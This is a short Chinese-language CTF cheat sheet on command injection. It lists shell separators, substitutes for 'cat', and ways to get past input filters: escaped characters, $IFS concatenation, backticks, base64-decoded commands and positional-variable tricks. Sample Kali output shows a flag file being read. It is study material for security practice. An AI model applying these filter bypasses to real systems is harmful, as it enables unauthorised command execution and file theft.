弈秋弈秋
弈秋
弈秋
  • 命令注入

命令注入

连接符

连接符举例效果
;A;B先执行 A,再执行 B
&A&B先执行 A 再执行 B,如果 A 执行失败,还会继续执行 B
|A|B先执行 A 再执行 B,不管 A 成功与否都会去执行 B
&&A&&BA 执行成功,然后才会执行 B
||A||BA 执行失败,然后才会执行 B

过滤

过滤cat

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

转义符号

ca\t /fl\ag
cat fl''ag

拼接

a=fl;b=ag;cat$IFS$a$b

反引号绕过

┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ ls
flag
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ cat `ls`
flag{Hello World}

base64绕过

┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ echo 'cat' | base64                                                      1 ⨯
Y2F0Cg==
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ `echo 'Y2F0Cg==' | base64 -d` flag
flag{Hello World}

位置变量绕过

┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ ca$9t flag
flag{Hello World}
最近更新:: 2025/11/24 20:37
Contributors: yiqiu